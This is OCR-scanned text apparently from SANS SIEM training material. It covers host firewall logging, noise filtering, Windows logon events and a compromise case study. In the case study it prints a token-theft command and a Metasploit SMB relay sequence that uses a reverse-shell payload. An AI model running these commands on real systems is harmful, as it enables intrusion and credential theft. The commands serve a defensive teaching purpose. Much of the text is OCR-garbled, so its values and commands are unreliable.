Psec for authentication and encryption. [Psec can be used to dynamically alter firewall connections based on ==
things such as Active Directory security groups. L)
e

However, logging is disabled by default, This is easy to remedy.
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Windows Firewall Audit Policies

Firewall logging is spread across multiple policies
« Audit policies enable logging to Security channel

- Aghmnced dudit Ppboy Configunmen = Subcmtegory Adil Erenky
» Auda Pelices

5 i = Bkl pplicdl o See pied Mot Canfigures
S At Certifization Semvioes St i el Faliire
. -E frvsront Mmeyicect 5 Audkh Dt whed Filin Thaen Sisrens and Sailure
o Deteded Tisching
'é 5 Beress | 5 Audk Foe Shars Succer and Failure
j-i | ngea] sgalt 5 Aundlt Fis System Lz e ard Fallure
= Binject Aot REnTEY itrvmig Plarrnrm Cavmsatiim Saicrorn grd Fahire
y "': Paddy Chambe ! L i 1 eleving Pletfarm Pached Thes Mhes Canfayuias
w Advancod Auds Policy Conligyraten A | fusbrategesy Aol Eunnia
> A Kawi i 5 it Aadit Palicy Changs Fut Caediguarer
« 2 Account Logan 5 :
e armatmeik | At Bekerhe sion Tiicy Change Success and Faiure
_ﬁ Detsied Tracking | F it Austhanzation Fulicy Change Sisetem and Failurs
.3 % Accemn | & P N iljwviwnp [alierm Py 'h.ﬂujl- fce=w il Fiiuns
=4 =l s s VL b e P p b sy T
B Logon/ls & SR g ] ] st e i
i g:ﬁ::_.kfn | = hadit Othes Pobey Change Events Mot Lanliganed
+ i Py Chwnge i
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Windows Firewall Audit Policies

The first method 1o enable logging for Windows Firewall is to enable settings in the Object Access und Policy
Change audit policies. Under Object Access, you will find the capability to log successful or failed connections
or packets. Under Policy Change, you can enable the logping of chanpes made 1o the Windows Firewall,

including the ability 1o fog when it is tamed off.

The Audit Filtering Platform Connection logs based on connections or connection attempts. Therefore, a failed

conngction with multiple retries is likely to be logped once. The Audit Filtering Platform Packel Drop logs at the

packet lavel, This means the Packet Drop policy is much maore likely to have repetitive entrles. To minimize
data gathered while not really losing value, it is recommended 1o use the Audit Filtering Platform Connection

over Audil Filiering Platform Packet Drop.

The other policy entries about policy change are used 1o record events related (o modifications to the Windows

Firewall. This includes things such as the creation or modification of firewall rules, deletion of firewall rules, or

even changing the stare of the firewall (such @5 tuming it off).
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Event iD= Q4
5,154
5196
5.7
5.158

Event|iDs g

Audit Policy Events

Audit policy enables logging of more than just allow/block

Title =04
The Windows Fmanng Platiorm fas permsted an applcation of SErvice T B518n on a por f&r INCommg connections
Thie Windows Fflering Platform has permiied a connechon

The Windows FRlenng Platfarm has blocked a connection

The Windows Flleing Platiorm bas permitiad 8 bing to 8 ocal pord *""'--....____
Title & QL .
Network binds

s ehange was made 16 he Windows Firesadl evception iisi & mile wes addad
A changs was made 10 Ne Windows Firesid gxcepbon st A mule was modihed
A change wak mads Io the Windows Firewal axception iml A mie was d=isisn \

A Yindows Firewall safing was Lh,&l‘!;g‘,‘:ﬂ

Windows Firewall 2id nof apply 1he foliowing rule Mﬂdlﬁcﬂﬂﬂns

SRTEST | SEM ol Tadtcu Avalytia

Audit Policy Events

This slide demonstrates some of the events generated if an audit policy is used to enable Windows Firewall logs,
The top four events are generated if success and failure are enabled for "Audit Filtering Platform Connection.”
The bottom five events are examples of events generated by enabling the "Audil Filtering Platform Policy
Change” and "Audit MPSSVC Rule-Level Policy Change” settings.
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Blocked Connection Example

Event 3137, Microsoft Windows security sudifing,

Gerers! | Details |
The Windows Fetering Platfosm hes blocked a connection.

Application Infarmatian
Process D 2424
Application Name \deviee\ harddiziovelume! \progeam files {s8E nfpibin ntpd.ee

Metwork information:
Direction: Inbaund
Seurce Addres 100010
Source Port: 123
Destination Addreis: 10.0.0.50
Destsnabion Porks 33925
Pretocch 1w

LFﬂtE‘r Informatiem
Filter Run-Tirmne ID; TGS
Layer Name Receive/Accept
Layer Run-Time [0 44

SECESS | SIEM) width Timmcad Apalptice ol

Blocked Connection Example

This slide shows a more detailed view of a blocked conneetion. Notice it includes the application involved
with the connection. It also includes things such as source and destination IP addresses and ports, The beauty

of host-based firewails over network firewalls is that they are positioned well 1o associate a process with
network traffic.
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Windows Firewall Log File(s)

A log file per
network profile
can be specified
* Orcansharea
single file
Provides more
detail than event
channel log

-m-.—al- Siie Pasles i e

-

Mmh-}rlmm.ln'dmih
h.u

‘ Firewel gtae
i iy

Windows Firewall Log File{(s)

Cuminmizs Logging Sesiings inrﬂw

x

timme owvsiem L wogies vl clmweling| | Bowes
DBHW!'W

a1 ¥
[ Miet efigrrmd

Log Soppad cackes |inr‘h-t'

Loy mevumsbl peervoRe b o i

Fhose: £ o e ponfigueg mﬁm?dwdunm

| S Wik P ety i PR 10 e Toider

corisring Do e

Doty 2ot forthe o Fle .
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The second method of logging for Windows Firewall is to enable logging to a téxt-based log file. This file can
be set to log-dropped packets and/or suceessful connections. It also allows specifying a size limit in which it will
keep rotating the log contents according to the max allowed size, It is typically recommended to increase this
size 85 4 MB is fairly small fora log file.

Enabling the log file component of Windows Firewall can be done manually—per host—or it can be done with
group policy. The setting for this can be found at the below location:

Computer Configuration' Policies\Windows Settings\Sccurity Settings'\Windows Firewall with Advanced

Security,
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pfirewall.log Example

-
-
Extra data
wTime ingalk L
L] TCP F]ags Srimlan: dabe bime wiblo) pracadul b lp dvl- G ses gt datopact afie teatlags tipem fupes fagmdn §omdrpy Tosprods Lok marh
ANEE LR R R R LR L LR, L L0 B0 LS PR ERLED AR R JJRSURSSAS B (HEe EELEEYE
- T L F e, s I aFPes anis) e S FIRESESEE W el AR E BV
L ] Slze Wi 1. #.0. 1ol M TERE awihg 44 % FALSFRAISS B IR - - - ARCREVE
LT U N T A Pl ) mb L 2ISRANERLE & A9ds . - - WEEETVE
iy L. & 01 i e Loy & & JaRI9INET O bhid RELELWE
LY IR0 10 | VI LN B Al b fenlMgRA B OEEL - EECEIWE
- A{:k #‘ LT~ (LR AT I WAV BRI AL L IRRXETRYT W RER RICETET,
L (LA N B | I BISIN #3(2) &d & LOOISUIN U pREE WiCLIwE
W TSR 10S D00 10 ARTSE #9183 o3 &% LiMeding b jelie . AFT LRV
P RO LN A TE EWLND B & LDPETIONEN B i RELEEV]
L Syn # w7 B T ARTVE @R a0 % TTPOI0NG B (83 12 Py
Fol R BB N0 ARTTE S &l R LA m i ArdErvi
bt I3 (0 (0 1 SeTeE SE] A0 % THTRTIGVET & §A L 1d dab
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plirewalllog Example

This slide demonstrates a sample log file. In it, the contents show multiple dropped packets along with some
extra details not found in the first method of logging. This method includes additional information such as the
TCP flags involved. In the slide above, all the TCP connections were dropped on the initial Syn packet.

Note that to read the contents of this file requires administrator privileges. For example, opening the file with
notepad will generate an error. However, running notepad as administrator and then opening the file works,
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Differences

Security — Event channel pfirewall.log - Log file

PROs PROs

» Includes firewall changes » Detailed connection info

» Logs application and port « Log per network profile
binding CONs

» Logs if the firewall is disabled . Requires log file collection

CONs :
* Fewer details on connections

Only records connections

SECR5S | SIER with Tttt Aty 1

Differences

While both logging methods have the same core information, there are some key differences. For one thing,
depending on the collection method, you may be forced to use one over the other. For example. if you are using
Windows Event Forwarding and wanted to collect these logs, you would have 1o use the event channel method.
The event channel also includes exira things such as a log if the firewall rules are changed or, more importanily,
g log if the firewall is disabled. The log file method does not do this,
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Linux systems almost universally use iptables

* Some include iptables management programs like UFW
The feature set includes:

« Stateful firewall capabilities

* Inbound and Outbound control

* Support for multiple types of address translation
No central reporting is available and...

» Logging is often disabled by default

SECESS | SPEM swivh ':':|.'_1J|_-.]l.1-¢|.j_|11_u_-.. ]

iptables

The most common Linux host-based firewall is iptables. 1t is built in to just about every Linux aperating system
today, While some seem to be using a different firewall, they often are iptables. For example, Ubuntu users use
UFW, but UFW is actually 8 management program that sets up and eontrols iptables.

Like the Windows Firewall, iptables are stateful and ¢an control inbound and outbound connéetions. Where it is
@ bit stronger is its ability to get granular on firewal] rules such as what TCP flags are involved as well as its
support for many forms of network address translation. Like the Windows Firewall, logging is usually disabled
by default.
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iptables Rules

Typical firewall rules for a web server are similar to below

*+ Based on the concept of rule chaining

iptables
iptables
iptables
iptables
iptables
iptables

-A INPUT -1 Io -j ACCEPT

-4 OUTPUT -o lo -j ACCEPT

-A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

-4 INPUT -m conntrack --ctstate INVALID -j DROP

-4 INPUT -p tep --dport 22 -m conntrack --ctstate WEW,ESTABLISHED -j ACCEPT
-A INPUT -p tcp --dport B8 -m conntrack --ctstate MEW,ESTABLISHED -j ACCEPT

INPUT chain contains rules for inbound connections
OUTPUT chain contains rules for outbound connections

TCP session states are used by specifying conntrack and ctstate
+ This example is common and has no logging specified

iptables Rules

Rules for iptables are designed around the concept of chaining. This concept allows for a packet or connection

SETSYT | GIEM wih Tactcal Ayt

tir hit a specific rule and then be sent over to a ditferent chain (series of related rules). In this slide. only two
chains are listed: INPLT and OUTPUT. These are built-in chains, although custom chains can be created.

136
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iptables Rules with Logging

Below, commands enable default inbound deny logging

iptables -N LOGGING

iptables -A INPUT - LOGGING

iptables -A LOGGING -m Iimit --Iimit 2/min -j 10G --log-prefix "[BLOCK]" --log-leval 4
iptables -A LOGGING -4 DROP

This sends anything not matching a rule to the LOGGING chain
* -m limit --limit 2/min logs two packets per minute*
* -j LOG can be added to any rule and is what enables logging
* --log-prefix is an optional string to add to logs
+ --log-level specifies the syslog severity to set
* Limit is based on connections per IP in packets

SECSSS | TEM wihy Thesimnl Adalyuce 100

iptahles Rules with Logging

To add default deny logging 1o iptables, you can run the commands given in this slide. They create a new chain
called LOGGING. Then, itappends a rule to the bottom of the INPUT chain so that if no prior INPUT riles
match, traffic gets sent over to the LOGGING chain. This chain then logs and blocks all traffic.
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iptables Log Example ()

L]

The log format is detailed O

Jan 22 12:57:57 logparse kernel: [5592117.166801] [BLOCK] IN-ensle@ OUT= {.)

MAC~8@:58:56:a6:b3:54:90: 6c1ac:55:83:05:08:08 SAC=10.9.0.186 DST=172,16,1.5 LEN=48 TOS-0xB0 PREC-Gx00 .

TTL=46 ID=658647 PROTO=ICMP TYPE-13 COOE-@ )

Jan 22 12:58:86 logparse kernel: [5599125.744252] [BLOCK] IN=encl68 OUT=

MAC-B:50:56:a6:53:54:90:6c ac:55:83:05:08:00 SRC<10.0.0.108 DST=172.16.1.6 LEN-48 TOS<2x08 PREC=0x080 )

TTL=48 I0=33935 PROTO=ICMP TYPE-13 CODE=@ ,

. . x . . r 1

Details almost identical with Windows Firewall log file 4

« Native syslog logging makes for easy collection 'S

* Log format can be easily parsed with kv plugin )

)

lj' _}l
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iptables Log Example O

The log farmat of iptables is straightforward. Also, since every field is in the format of field name = value, the O

kv plugin can be used to auto parse out the field data. The fields and values logged by iptables are almost 0
identical to those of the Windows firewall log file format, ;

O

L)

-

)

:
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Redefining the Problem

Collection\Parsing is not the problem (quite easy)
* Main problem is what to do with massive volume of logs
Business goal should define the problem. Our goal is to:
* Report on blocked connections
* Discover what applications are accepting inbound traffic
* Have full connection logs for incident response/forensics
* And achieve above items without additional purchases

SEGSES | IR itk Totinal Aivilvilcs  i1e

Redefining the Problem

So new that you know some of the key characteristics and logging capabilities of major host-based firewalls, it
is time to address the problem. To do so requires a little it more definition. Previously, the CI0O asked for how
efficient the hosi-based firewalls were acting. [ vou were a praject manager, vou would laugh and state this
project lacks definition. So, elaboration on what needs to be done is necessary.

For this project. Lab Me, Ing., is looking to add reporting of blocked connections, the ability to find out what
applications are listening for network traffic, have retention of host-based firewall logs for incident handling and
forensics, and most importantly, to do so without additional purchases. Since this project is being kicked offut
the whim of the C10, there is no budget available for purchases. Failure is not an option.
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Blocked Connections

Blocked connections to and from internal systems should
be investigated

» But a default network will be full of blocked connections
This is primarily due to:

» Vulnerability scanners or network monitoring systems

* Windows default settings cause lots of noise

« Broadcast and multicast traffic

Options: Prevent traffic or filter logs

SECHSE | SIEM wuth-Tacocal Aniiiriic

Blocked Connections

To establish reporting capabilities requires log collection. However, the immediate problem is the volume of
logs is high. If additional purchases for expanding the log aggregator or backend storage is not allowed, then this
problem |5 rather challenging., By default, most host-based firewalls end up blocking tons of traffic. This ranges
from standard broadeast traffic to blocking authorized vulnerability scans and in-house network seans,

Addressing this seems impossible, but it is actually fairly easy, Either traffic needs to be prevented from
occurring, or logs need filtering,
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Prevent Traffic

Most blocked connections come from unnecessary services
Windows is a prime example

* Disable unnecessary services (SSDP, LLMNR, Computer
Browser, NetBIOS, Dropbox LAN Sync)

* Can cause over 90% of blocked traffic

* You may not be able to disable all of these
No traffic which equals efficient

= Lowest operational cost and more secure

SECESS | SIEM widh T.1|:.F||—¢|I tnabyiies dad

Prevent Traffie

Ideally, unnecessary traffic that is constantly being blocked would be cleaned up rather than fltered. As an
example, in an enterprise environment, the SSDP service is ofen not necessary. This service is used for syslems
to perform network discovery of surrounding devices such as universal plug and play devices. This type of
service is helpful for home users, but enterprise environments are typically controlled with asset management
toals and group policy. Leaving this service enabled causes multicast traflic that surrounding host-based firewall
systems will constantly have to block. Instead of filtering il out, simply disable it.

Overall, this decreases the amount of trafTic on the network, makes it easier o do packel analysis, and removes
the need for filtering large amounts of traffic at the hosts or shipping it o7 to be filtered at an Aggresaiion unit.
There are multiple online sites describing how and why these services should be disabled. One fairly well-
documented article is from the University of lowa.' Not every environment will be able to disable all noisy
services, but typically most can be disabled.

Reference:
hitps://its.uiowa.edu/support/article/3576, https://sec355.com/6m
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Proper Filtration

Remaining legitimate traffic needs to be ignored or filtered
» Broadcasts, multicast, and stuff you can do nothing about

Log agent can be set never to collect
« But you may not be authorized to use an agent

An aggregator can filter and drop

« Retention is more expensive than filtering
Reporting can be set to ignore

» Tagging makes this easy

EEIZHGS | SIEM weeth Taceal Analstins

Proper Filtration

The goal of an air or water filter is to lel water or air (the good stuff) through while filtering out all the junk (the
bad stuff). This is an art and science that anyone who regularly works with a SIEM should try to master. Even
with preventing noisy traffic, there is a solid guarantee that some traffic will still get blocked that you cannot
prevent. Thus, filtering is necessary.

Fortunately, each SIEM solution prides itself on its ability to slice and dice data. This ends up being where the
truth comes out. This is assuming you have o Windows firewall log come in that stales something is being
blocked that you do not care about. How easy is that to filter out? You should be able to filter on source and
destination P addresses and ports, You should also be able to filter on protocol and the application receiving
the packet.

In sotme cases, you may have to log the traffic. In this case. noisy logs should be tagged to make them easy to
filter out of visualizations and dashboards. Being able to filter by using something like below is extremely
helpful to analysts!

-fagsmoise
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Firewall Results

Before: Lots of logs After: Should be none...

©

No results found

When finished host-based
firewall should have 0 hits
* Unless something is
| | misconfigured or malicious

TECS5S | TIEM with Ticomi Alalyds  bad

Firewull Results

This slide shows an example of a real environment before and after tuning. In the beginning, systems were
constantly logging blocked connections for broadcasts, multicasts, and even some unicast traffic that needed 1o
be filtered out. When all things were said and done, the number of blocked connections was zers, Now, anything
thiat gets logged is ready to be investigated.
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Prevention for the Detect

Host-based firewalls should block unauthorized
internal-to-internal connections

» Such as workstation-to-workstation activity

» Great for discovering attempts to pivot/malware spread
Monitoring block connection uncovers:

« Unauthorized internal recon

* Internal pivoting
Prevention systems double as great detection systems

SECESS) SIE win Tacrjeal Anabyrics - hs

Prevention for the Detect

Take any preventive device and monitor when it blocks something, and you now have a detective device.
Granted, some things should be prevented, and the logs ignored but, many times, if you are blocking
something, vou want to know about it. Adding this level of monitoring is great for catching things such as
internal pivoting attempis,

Post-compromise, an adversary typically has to perform internal reconnaissance and pivot internally.
Monitoring something as simple as host-based firewalls provides an additional means to catch this,

144 B 2022 SANS |nstitute




Listening Processes

Blocked connections are now monitored
* Yet host-based firewalls have other value-add capabilities
* Such as identifying processes listening for connections
Useful for tuning firewall rules
» Also identifies malicious programs

A process listening for incoming connections -
is a service (regardless of OS specifics) d

SECS5T | SIEM Wik Thetucal Avafmgits i

Listening Processes

The primary reason for monitoring host-based firewalls is to discover blocked connections. Yet host-based
firewall logs have other uses. Why waste” Native Americans had a policy that when they killed an animal, they
were to make every possible use of the animal, This logic can be applied to many logs.

If you think back to the Windows Firewall examples, there were logs created any time an application attermpted
to listen for network connections. This means it is possible to discover which applications exist in an
envirpnment that listens for network connections. This provides an opportunity for another allow list check. It
would be nice if you could be notified anytime a new process listens for network connections,
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Application Listening

Allowed application:

Windows Filtering Platform has permitted an application or service to listen on a port for incoming connections,

Application Information:
Process [D: B244
Application Name: \deviceiharddiskvolumedwindows\system3\windows powershel w1 .0\ powershell.exe

Blocked application:

Windows Firewall blocked an application from accepting incoming connections on the network.

Profiles: Public
Application: CAwindows\system32\windowspowershell\v1.0\powershell exe

SECSSS | SIEM wly Tococa| Angiyes 18

Application Listening

Host-based firewalls are positioned to see more than just network traffic. Because they are processes within
their respective operating systems, they can also see which process is accepting or sending network traffic.
This can be used to monitor processes that accept network connections.

This slide demonstrates this by chowing two alerts, One alert shows powershellexe as being blocked from
accepting incoming connections, and the other permits it. In a normal environment, would you anticipate
powershellexe as listening for network connections? Most likely not. However, modern-day attacks heavily
use PowerShell, Being able to see it listen for network connections is basie, easy, and just may well save

an arganization.

This technique works best as a allow list technique but should also be doubled as a deny list. For example,
powershell.exe would probably make the deny list.
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Who Is Listening?

Monitor New Applications Review and Filter
Easy approach is to only look for ~ Or constantly monitor and
new values allow/deny lists

* Quick and dirty (easy win) = More work/more thorough

+ Fairly reliable « Extremely reliable

« Easy to respond to = Requires regular filtering
Email Alert
New application powershell.exe N
listening for network connections ks e b o sie

[T P e, Ly BRI e nivenii L

Nragrem Sesesantibackss sod s snm
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Whao Is Listening?

Implementing controls to see which application is listening for network connections is simple and
straightforward. The lazy method is to collect the logs and use something like ElastAlert to monitor for new
applications that have never been seen before or that are denied. While labeled as the *lazy" method, this still
werks really well. The more thorough approach is to collect the logs and regularly review and filter. By defaulr,
applications such as svchost.exe and lsass.exe will show up constantly, These are examples of applications that
should be filtered out (preferably at the endpoint or log aggregation unit),

Because the path is included with the application, it can be used for a quick and dirty method of filtering. For
example, Office applications such as OneNote, Dutlook, Excel, etc. will listen for connections, Rather than
filtering each out individually, the path C:'\Program Files (x86)\Microsoft Office could be filtered. Or perhaps
you only wanl o monitor for applications that are outside normal locations. In this case, you could do semething
such as ignore C:\Windows, C:\Program Files (x86), and C:\Program Files. Now, you should see applications
that are being executed from odd locations such as C:hUsers.
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Separate Use Cases

Not all logs need to be collected

= Key host-based firewall logs are great to centralize
« Others should be enabled but stay local

Windows firewall event logs can be sent to SIEM

» Local log files can record everything "in case it is needed"

« The performance impact is minimal

» Log files exist and can be later replayed ’
Allows staying tactical while being prepared for response

TECTD | SIEH winn Tocoed Amilync

Separate Use Cases

In the example of host-based firewall logs, the goal is to continue providing tactical data to the SIEM while
providing logs for response activities, Because the Windows firewall supports multiple forms of legging, this
can be easily addressed, For instance, events from the security channel can be set 10 only log certain things such
as blocked connections. These can then be forwarded 1o the SIEM. Then, the log file option of Windows
firewall can be enabled and set 1o log evervthing. These log files do not get sent to the SIEM and are enabled for
forensics or incident handling purposes.

I'ke side benefit of enabling logs for forensics/incident handling is that they ofien can bz replayed down the
road. While it is not cost-effective 10 send every log to a SIEM, it would be nice to be able to do so ad hoc, If
more verbose Jogs existed that could be manually picked up and sent 10 a SIEM for response procedures, the
response activities would greatly benefit from the searching capabilities of the STEM. A best-case scenario
would be seripts that would automatically collect certain logs and feed them into & STEM. SOF-ELK is a
distribution that allows you to easily collect and feed logs into an open-source SIEM for forensics purposes.!

Reference:

https://github.com/philhagen/sof-elk; hitps://sec355.comin
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Project Report (Host-Based Firewall Review)

The project results for monitoring host-based firewalls
are as follows:

* Monitoring blocked connections DONE
» Identifying listening applications DONE
* Keeping full connection logs DONE
A bit of filtering and cleanup goes a long way...
* Completing without extra budget DONE

SECHGS LM wirTnouedl Adilytle  lip

Project Report (Hosi-Based Firewall Review)

The €10 of Lab Me, Inc. wanted to know how eflective the host-based firewalls of the organization were. As
a result, a project was kicked off wo monitor blocked connections, identify listening applications, and provide
forensic and incident handling logs. All of these requirements were to be done without requiring additional
purchases,

By filtering out the neise and limiting unnecessary traffie, these can all be achieved without major purchases.
Muore importantly, they provide additional areas to catch unauthorized activity or misconfigured $ystems.
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Course Roadmap

* Section 1: SIEM Architecture

» Section 2: Service Profiling with STEM
* Section 3: Advanced Endpoint

Analytics

» Section 4: Baselining and User Behavio

Monitoring

= Section 5: Tactical SIEM Detection and

Post-Mortem Analysis

= Section 6: Capstone: Design, Detect,

Defend
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Login events are critical and should be monitored
* Credentials are intended to allow authorized access
* And to provide accountability

Yet credentials are often used and abused

Myth: Hacker's preferred method for attacks is exploitation

Truth: Compromised credentials are commonly used in
attacks

SECEER | SEM with Tiines) Adaliies  inl

Login Events

Anacks do not always come from exploitation or things like client-side phishing attacks. Many targeted attacks
heavily involve the use of valid credentials. Mainstream attacks typically involve compromising a single system
and then pivoting throughout the environment vsing legitimate but stolen eredentials. [Uis also possible for an
attacker to brute force credentials by using techniques such as password spraying of internet-facing servers
(such as Outlook Web Access). Once valid credentials are discovered, they can be used against internet-facin i
VPN that do not require multifactor authentication.

I'he point is credentials are a key attack vector. While TV shows and the news make hacking out 1o be the result
of masterminds using zero-day exploits, the truth is most attacks involve basic elements such as credential thefl
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Windows is slightly
more complicated
« Logged per system
» Includes domain and
source system
Multiple ways to log in
to Windows

» Broken down by login
type

Windows Login Event

Windows, in contrasi to Linux, is a bit more complex in regard to authentication. This is because Windows is
designed to handle many forms of authentication and is intended to handle centralized logins. In fact, Windows
supports so many types of logons that & field called Logon Type has to be specified to keep track of what type of

logon it is.

Windows logon success and failure are logzed per system. Centralized logons, such as through a domain
controller, are logged at both the endpoint and the domain controller as long as the audit policy is set for both,
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Logon Type

Each logon type can be used to identify the method of login
*» Type 2 Interactive: Local console/keyboard
» Type 3 Network: File sharing
* Type 5 Service: Service startup
* Type 10 Remotelnteractive: Remote Desktop
This can be used to identify events of interest

* Such as successful RDP access to a desktop where RDP is not
normally used

SECARS | JIEM Witk Thetied] Aalyses 101

Logon Type
There are many Windows logon tvpes. They are described in detail below:

Logon Type Description

2 Interactive: This is what most people think of and do. 1t is when someone logs in to a system
locally, most commonly with a keyboard. This also includes logons like those from out-oft
band/lights out cards as these are using an over the wire virtual terminal to log in to a system.

3 Netwark: This type of logon is when credentials are used o access a remote computer such as
browsing [Tles on a file share.

4 Batch: This is used for when a scheduled task using credentials is launched,

5 Server: This is for when a service that is using credentials is started,

1 Unlock: When o workstation or server is locked and then unlocked, this logon type is recorded.

b NetworkCleartext: This logon type is recorded when o logon uses credentials that are sent in
cleartext. This is most oflen in conjunction with 1S using basic authentication.

16 Remotelnteractive: This logon type is recorded when a login is performed using remote desktop.

11 CachedInteractive: This logon type is recorded when o system that iz not able to reach o domain
controller successfully logs on using cached credentials

The fact that Windows breaks out the type of logon is extremely beneficial for monitoring. Monitoring alerts can
be created for logon types that oecur in unauthorized conditions—for example, if RDP is not supposed to be used
on desktops yel RDP is used on a workstation. Multiple sites online break out the various logon types and deseribe
conditions under which they are recorded. One such description is found on Ultimate Windows Security.!

References:
hteps:/www.ultimatewindowssecurity. com/securitylog/encyclopedia/event. aspx Teventl D=4624,
hitps://secS §3.com/bo

@ 2022 SANS Institute 153



Special Logons

A majority of logons in most environments come from:

» Computer accounts: Active Directory machines are
constantly authenticating to domain controllers

» Service accounts: "Special” accounts used to run services or
scripts (some built-in, some user created)

Both create large amounts of successful logins and failures
» Computer accounts distinguished by a 8 in the user field
» Service accounts need to be tracked

SEC555 | SIEH with Tacticyl Anakmcs

Special Logons

Within Windows, there are logons for more than user accounts. Because Windows uses centralized logging and
allows for things such as mutua] authentication, computer accounts are constantly performing authentication.
This oceurs naturally between domain members and domain controllers.

Windows and Linux both employ service accounts, These are accounts used for specific tasks of programs. For
example, many network services, such as Bind DNS, will often run under a service user account called bind on
Linux. 1f a user account is created to perform a specific task, such as for credentialed vulnerability scans, it is
also considered a service account. Basically, any purpose-built sccount used o perform a task gets classified as
a service account.

Because of their use, service accounts are treated with special respect. For example, vou are likely to fail an
audit if vou do not enforce password rotation every 90 days for user accounts. Vet an auditor will typically
ignore password rotation for & service account. Unlortunately, service accounts can be low-hanging fruit for
altackers and penetration testers.
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Another High-Volume Problem

Login success/failure is also a high-volume problem

* Average # of logins/logoffs per system can exceed 100 per hour
(need to establish a clipping level to monitor)

* Lots of login events are of little to no value

Process of filtering is similar to other high-volume logs
* Find the noise... eliminate or filter it...
* Then deploy tactically awesome detects

First need to understand what logs you are dealing with

TECE5E | SIE with Tactcal Avalvbes Tl

Another High-Volume Problem

Just like host-based firewalls, login events can be high volume, Take Windows event 1D 4624. It can average
over 100 logon events per hour, per system. Most of these login events are of little to no value, As previously
mentioned, these can be eleaned up through finding the noise and either eliminating it or filtering it.
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Compromise Jan 2017

Not all stories have a happy ending

» January 2017, one of Lab Me, Inc.’s systems became
compromised

« System was used successfully to pivot internally
« Adversary used multiple techniques involving logons
= Each technique got the adversary deeper into the network

Let the story begin...

SEESSE S JEEM wich Bacicl Amalysics  15a

Compromise Jan 2017

Because an understanding of common offensive technigues being detfeated by defense technigues is helpful,
another analogy will be used. In this one, Lab Me, Inc. is compromised by a client-side phishing attack of some
kind. Onge that initial system was compromised, the attacker used various credential thefi technigues to pivot
around the network.

1568 2022 SANS Institute
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Attacker Methodology

Attacker achieved admin-level access on the initial machine
» First, pass-the-hash was used to pivot
* Then, logged-in user credentials were stolen and used
* Next, an authentication relay attack was performed

* Finally, service accounts were stolen that provided
domain-wide access

Three different methods of credential abuse in one attack

SECESE | SIEM with Tactail Ailynice

Attacker Methodaology

To pull off the attack. a tool such as Meterpreter was used to dump the hashes of the initial victim machine. The
administrator hash was then used to move into surrounding systems laterally, However, these systems did not
have aecess 1o all the patient files, which was the attacker’s primary objective. Because of this, the attacker
began lpeking for logged-in user accounts and stole their credentials. While these new credentials allowed
further access to the network, ultimately it was not the level of access that would allow the attacker to steal all
patient records,

Finally, the attacker found a way to relay valid authentication 1o gain access to another system that had service
credentials, Upon stealing these eredentials, the attacker had system-wide aceess. Once service credentials were
stolen, the amacker had ultimate access to network resources,
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Pass-the-Token )

After successful login, Windows issues an access token )
that contains identity and privilege information '
» Tokens allow Windows to impersonate end user
 Delegation allows accessing local and remote resources
» Impersonation allows accessing local resources
» These tokens can be stolen and used to "become” someone else
+ Easy to pivot as a domain user
+ Easy to steal by being annoying

5]

L

Pass-the-Token »
Previously, pass-the-hash was covered. While similar 1o pass-the-token in execution, whar actually happens. and O
the usefulness are guite different. Pass<the-hash typically involves stealing local account hashes and pivoting 5

through them. However, this only works if other machines have the same password and the account involved is
enabled. Pass-the-token, however, involves stealing the access token of a logged-in user and using it to become LJ
them, This works across both local and domain accounts,

Access tokens are special objects that get attached to processes a user initiates, They contain the security context
of the user, such as the user's 51D, the S1Ds of each group the user is a member of, and the associated
privileges. There are two types of tokens: Primary and impersonation, Each primary token is associated with a

process {the container), and impersonation tokens are attached to the execution unit (threads), While a bit

confusing, there are multiple impersonation types for the impersenation tokens, The two most commen are )
delegation and impersonation, For the purpose of this class, all you need to know is that certain types of tokens

can be stolen and rewsed. The level of access granted depends on the impersonation level of certain lokens,

Impersonation tokens can only be used to access local resources. Delegation tokens allow access to local and

remote resources.

An example of how easy it is to steal 1okens is below, It is as simple as downloading a tool such as
incognitol.exe and running the below commands.

incognito? exe execute TEST\jhenderson cmd.exe

This example assumes that TEST\jhenderson wes logged into the machine and the attacker was able to steal
TEST\jhenderson's access token successfully. In this example. incognito was used 10 run cmd.exe using the
login token from TEST\jhenderson.
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SMB Relay Attack

After pivoting with stolen hashes and tokens, attacker still
needed more access

» SMB relay attack was used to steal service credentials

The attack involves waiting for an incoming SMB
connection and stealing credentials from it

* The technique works well against vulnerability scanners

SMB Auth SMB Relay
Vulnerability —t — Victim
Scanner gy, — . Machine
Reverse shell

SECSED | SIEM witl Tictieal Anilbprald 11w

SMB Relay Attack

The lust method used in this compromise scenario involved an attack known as an SMB relay attack. For this to
work, an atlacker waits for an incoming authentication challenge, and when one is discovered, the attacker
machine passes it back (o another machine success{ully authenticating. A1 this point, the attacker machine uses
the relayed credentials to send a payload to the victim machine and compromise i,

This all works due to the design of Windows NTI.M authentication. SANS has u nice article explaining this
attack in depth. It also covers how to use the built-in Metasploit module to perform the attack. Keep in mind,
this technigue, plus previous examples, are only a few ways—of many—to compromise credentials.

The commands to pull off SMB relay using Metasploit are as below:

On attacker system (assuming 1P of 10.5.55.7)

mefconsole

use explolt/windows/smb/smb relay

set SMBHOST 10.5.55.8 <---- set ip to whatever victim you want to attack
set pay-cad windows/meterpreter/reverse tep

set LHOST 10.5.585.7

axplall

Now, all you need to do is walt for something to attempt to authenticate against 10.5.55.7—such as the
vulnerability scanner, Crazy simple. ..

Reference:
https=/iiwww.sans.org/blog/smb-relay-demystified-and-ntlmyv2-pwnage-with-python/, https://56c555 com/bp
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Happy Ending

Post-compromise activities were happening just as login
monitoring was put in place

» The attacker got close to achieving the goal but was kicked out
Attacker was discovered three ways:

» Pass-the-hash (previously covered) CAUGHT
+ Too many successful logins CAUGHT
« Authentication relay NOT CAUGHT
» Improper service account usage CAUGHT

Now, on to how to implement these...

SECS5S | SIEM with Tacoea| Meiyrics

Happy Ending

Fortunately, this author is a sucker for happy endings; so, in this scenario, the attacker gets caught. It seems they
were in the middle of successfully compromising credential after credential at the same time login monitoring
was being put into place, While the attacker was able to access credentials that would have given access toall
the patient data (the vulnerability scanner credentials), they were caught and kicked off before exfiltration could
take place,

The upcoming slides describe the methods used to catch this attacker. But first, you need 10 understand standard
Windows and Linux login events.
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Linux Login Event

A login event from Linux is simple
* Logged per local system (typically)
= Includes username and source (local vs. remote login)
» Log’s success or fail
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Easy to understand and use
* Gets more complicated with centralized logins
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Linux Login Event

Linux login events are simple in nature, They include the username, success or fallure, and where the logon is
coming from, such as from a local terminal (tty) or a remote program like SSH. Authentication in Linux |s
